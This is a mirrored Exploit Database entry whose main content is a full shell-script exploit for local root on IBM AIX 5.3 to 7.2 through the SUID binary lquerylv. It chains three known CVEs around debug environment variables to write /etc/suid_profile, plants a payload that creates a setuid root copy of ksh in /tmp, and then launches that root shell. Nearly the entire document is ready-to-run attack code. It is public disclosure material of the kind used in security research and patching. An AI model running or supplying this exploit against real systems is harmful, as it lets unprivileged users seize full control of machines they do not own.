IBM AIX 5.3/6.1/7.1/7.2 – ‘lquerylv’ Local Privilege Escalation

• Exploit Database
• 19 阅读

• 作者： Hector X. Monsegur
  日期： 2016-11-04
• 类别：

  • local
  平台：

  • aix
• 来源：https://www.exploit-db.com/exploits/40710/

• #!/usr/bin/sh
  #
  # AIX lquerylv 5.3, 6.1, 7.1, 7.2 local root exploit. Tested against latest patchset (7100-04)
  #
  # This exploit takes advantage of known issues with debugging functions
  # within the AIX linker library. We are taking advantage of known 
  # functionality, and focusing on badly coded SUID binaries which do not
  # adhere to proper security checks prior to seteuid/open/writes.
  #
  # The CVEs we will be taking advantage of:
  # - CVE-2009-1786: The malloc subsystem in libc in IBM AIX 5.3 and 6.1 allows 
  # local users to create or overwrite arbitrary files via a symlink attack on
  # the log file associated with the MALLOCDEBUG environment variable. 
  #
  # - CVE-2009-2669: A certain debugging component in IBM AIX 5.3 and 6.1 does 
  # not properly handle the (1) _LIB_INIT_DBG and (2) _LIB_INIT_DBG_FILE 
  # environment variables, which allows local users to gain privileges by 
  # leveraging a setuid-root program to create an arbitrary root-owned file 
  # with world-writable permissions, related to libC.a (aka the XL C++ runtime
  # library) in AIX 5.3 and libc.a in AIX 6.1. 
  #
  # - CVE-2014-3074: Runtime Linker Allows Privilege Escalation Via Arbitrary 
  # File Writes In IBM AIX.
  #
  # In each instance of the aforementioned CVEs, IBM merely patched the binaries 
  # which were reported in the original reports as being used for escalation of
  # the vulnerabilities. This allowed for the lquerylv binary to slip by their
  # patches and become an attack vector. 
  #
  # Blog post URL: https://rhinosecuritylabs.com/2016/11/03/unix-nostalgia-hunting-zeroday-vulnerabilities-ibm-aix/
  #
  # lqueryroot.sh by @hxmonsegur [2016 //RSL]
  
  ROOTSHELL=/tmp/shell-$(od -N4 -tu /dev/random | awk 'NR==1 {print $2} {}')
  APP=$0
  
  function usage
  {
  echo "Usage: $APP [1] | [2] | [3]"
  echo
  echo "1 - MALLOCDEBUG file write -> escalation"
  echo "2 - _LIB_INIT_DBG_FILE file write -> escalation"
  echo "3 - MALLOCBUCKETS file write -> escalation"
  echo
  echo "[lquerylv] AIX 5.3/6.1/7.1/7.2 Privilege escalation by @hxmonsegur //RSL"
  exit
  }
  
  function CVE20091786
  {
  echo "[*] Exporting MALLOCDEBUG environment variable"
  MALLOCTYPE=debug
  MALLOCDEBUG=report_allocations,output:/etc/suid_profile
  export MALLOCTYPE MALLOCDEBUG
  }
  
  function CVE20092669
  {
  echo "[*] Exporting _LIB_INIT_DBG_FILE environment variable"
  _LIB_INIT_DBG=1
  _LIB_INIT_DBG_FILE=/etc/suid_profile
  export _LIB_INIT_DBG _LIB_INIT_DBG_FILE
  }
  
  function CVE20143074
  {
  echo "[*] Exporting MALLOCBUCKETS environment variable"
  MALLOCOPTIONS=buckets
  MALLOCBUCKETS=number_of_buckets:8,bucket_statistics:/etc/suid_profile
  export MALLOCOPTIONS MALLOCBUCKETS
  }
  
  if [ -z "$1" ]; then
  usage
  exit 1
  fi
  
  while [ "$1" != "" ]; do
  case $1 in
  1 )CVE20091786;;
  2 )CVE20092669;;
  3 )CVE20143074;;
  * )usage
   break;;
  esac
  shift
  done
  
  if [ ! -x "/usr/sbin/lquerylv" ]; then
  echo "[-] lquerylv isn't executable. Tough luck."
  exit 1
  fi
  
  echo "[*] Setting umask to 000"
  umask 000
  
  echo "[*] Execute our vulnerable binary"
  /usr/sbin/lquerylv >/dev/null 2>&1
  
  if [ ! -e "/etc/suid_profile" ]; then
  echo "[-] /etc/suid_profile does not exist and exploit failed."
  exit 1
  fi
  
  echo "[*] Cleaning up /etc/suid_profile"
  echo > /etc/suid_profile
  
  echo "[*] Current id: `/usr/bin/id`"
  
  echo "[*] Adding payload"
  cat << EOF >/etc/suid_profile
  cp /bin/ksh $ROOTSHELL
  /usr/bin/syscall setreuid 0 0
  chown root:system $ROOTSHELL
  chmod 6755 $ROOTSHELL
  rm /etc/suid_profile
  EOF
  
  echo "[*] Unsetting env"
  unset MALLOCBUCKETS MALLOCOPTIONS _LIB_INIT_DBG_FILE _LIB_INIT_DBG MALLOCDEBUG MALLOCTYPE
  
  echo "[*] Executing ibstat for fun and profit"
  /usr/bin/ibstat -a >/dev/null 2>&1
  
  if [ ! -e "$ROOTSHELL" ]; then
  echo "[-] Rootshell does not exist and exploit failed."
  exit 1
  fi
  
  echo "[*] Executing rootshell"
  $ROOTSHELL